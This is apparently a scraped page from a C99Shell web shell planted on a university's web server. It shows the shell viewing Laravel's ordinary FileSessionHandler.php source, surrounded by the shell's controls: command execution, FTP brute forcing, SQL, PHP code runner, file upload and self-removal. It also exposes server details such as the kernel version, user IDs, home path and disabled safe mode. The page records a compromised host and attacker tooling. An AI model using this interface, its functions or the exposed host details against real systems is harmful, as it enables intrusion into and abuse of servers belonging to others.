!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Session/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FileSessionHandler.php (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Session;

use 
Carbon\Carbon;
use 
SessionHandlerInterface;
use 
Symfony\Component\Finder\Finder;
use 
Illuminate\Filesystem\Filesystem;

class 
FileSessionHandler implements SessionHandlerInterface
{
    
/**
     * The filesystem instance.
     *
     * @var \Illuminate\Filesystem\Filesystem
     */
    
protected $files;

    
/**
     * The path where sessions should be stored.
     *
     * @var string
     */
    
protected $path;

    
/**
     * The number of minutes the session should be valid.
     *
     * @var int
     */
    
protected $minutes;

    
/**
     * Create a new file driven handler instance.
     *
     * @param  \Illuminate\Filesystem\Filesystem  $files
     * @param  string  $path
     * @param  int  $minutes
     * @return void
     */
    
public function __construct(Filesystem $files$path$minutes)
    {
        
$this->path $path;
        
$this->files $files;
        
$this->minutes $minutes;
    }

    
/**
     * {@inheritdoc}
     */
    
public function open($savePath$sessionName)
    {
        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function close()
    {
        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function read($sessionId)
    {
        if (
$this->files->exists($path $this->path.'/'.$sessionId)) {
            if (
filemtime($path) >= Carbon::now()->subMinutes($this->minutes)->getTimestamp()) {
                return 
$this->files->get($path);
            }
        }

        return 
'';
    }

    
/**
     * {@inheritdoc}
     */
    
public function write($sessionId$data)
    {
        
$this->files->put($this->path.'/'.$sessionId$datatrue);
    }

    
/**
     * {@inheritdoc}
     */
    
public function destroy($sessionId)
    {
        
$this->files->delete($this->path.'/'.$sessionId);
    }

    
/**
     * {@inheritdoc}
     */
    
public function gc($lifetime)
    {
        
$files Finder::create()
                    ->
in($this->path)
                    ->
files()
                    ->
ignoreDotFiles(true)
                    ->
date('<= now - '.$lifetime.' seconds');

        foreach (
$files as $file) {
            
$this->files->delete($file->getRealPath());
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0223 ]--